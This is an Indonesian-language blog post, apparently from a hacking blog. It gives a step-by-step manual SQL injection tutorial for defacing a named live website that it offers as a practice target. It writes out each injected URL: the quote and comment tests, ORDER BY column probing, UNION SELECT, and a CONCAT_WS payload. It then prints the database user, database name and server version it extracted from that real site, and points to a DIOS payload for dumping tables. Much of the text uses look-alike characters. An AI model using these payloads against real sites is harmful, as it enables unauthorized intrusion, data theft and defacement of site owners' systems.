Panduan Deface Dengan Cara Sql Injection Manual

kembali lagi bareng gue admin yg ganteng :v
Setelah sekian usang tidak posting artikel, ya maaf sibuk dengan sekolah ( adminnya masih sekolah gan ), sobat, pelajaran , dan yang niscaya pacar wwkwk

kali ini gue akan menawarkan panduan Dеfасе Dеngаn Cаrа SQL Injесtіоn Mаnuаl
beberapa bulan lalu gue menunjukkan panduan sqli dengan pakai SQLMAP, Nah kini gue menunjukkan caranya dengan cara manual

langsung aja ya gan, sans aja live target udh gue sediakan kok :D

LIVE TARGET : httр://gаrudаtrаnѕіndоnеѕіа.соm/роѕtіngаn.рhр?іd=9


1. Untuk inject nya lebih mudah pakai Mozilla firefox + hackbar ya :D

2. Masukkan payload ( ' ) *tanpa tanda kurung , di simpulan URL, maka situs web akan blank, mengambarkan bahwa web tersebut vuln SQL Injection
httр://gаrudаtrаnѕіndоnеѕіа.соm/аrtіkеl.рhр?іd=9'

3. Selanjutnya beri tanda ( -- - ) di final url, acuan seperti ini
httр://gаrudаtrаnѕіndоnеѕіа.соm/аrtіkеl.рhр?іd=9'-- -
Jika web kembali memberikan artikel secara wajar , memiliki arti vuln SQLI

4. Sekarang kita menggunakan order+by untuk mencari error nya dimana
httр://gаrudаtrаnѕіndоnеѕіа.соm/роѕtіngаn.рhр?іd=9'+ORDER+BY+2-- - = NO ERROR/ BLANK
httр://gаrudаtrаnѕіndоnеѕіа.соm/роѕtіngаn.рhр?іd=9'+ORDER+BY+5-- - = NO ERROR/ BLANK
httр://gаrudаtrаnѕіndоnеѕіа.соm/роѕtіngаn.рhр?іd=9'+ORDER+BY+6-- - = ERROR / BLANK

5. Karena order by error nya di nomor 6, kini kita union select , untuk mencari column nya di nomor berapa beri tanda ( . ) di belakang parameter nya
Union select di nomor 5, alasannya order by nya error di nomor 6
httр://gаrudаtrаnѕіndоnеѕіа.соm/аrtіkеl.рhр?іd=.9'+UNION+ALL+SELECT+1,2,3,4,5-- -

6. Yap udh ketemu ya nomor column nya adalah di angka 2, sekarang kita mencari tau user, database , dan version nya, caranya? kita beri basic statement di hidangan hackbar kalian
Atau juga bisa memakai payload ini, taruh di letak angka 2
Payload = CONCAT_WS(0x203а20,USER(),DATABASE(),VERSION())

httр://gаrudаtrаnѕіndоnеѕіа.соm/аrtіkеl.рhр?іd=.9'+UNION+ALL+SELECT+1,CONCAT_WS(0x203а20,USER(),DATABASE(),VERSION()),3,4,5-- -

7, Dan taraaaa, kita telah menerima user , database , dan version nya

User : u2232528_gаrudаtrаnѕ@lосаlhоѕt
Database : u2232528_gаrudа
Version : 10.2.17-MаrіаDB

Untuk mencari table tablenya, tinggal hapus aja payload nya, kemudian menggunakan DIOS yang tersedia di hackbar :D

Ok sekian...
Terimaasih sudah berkunjung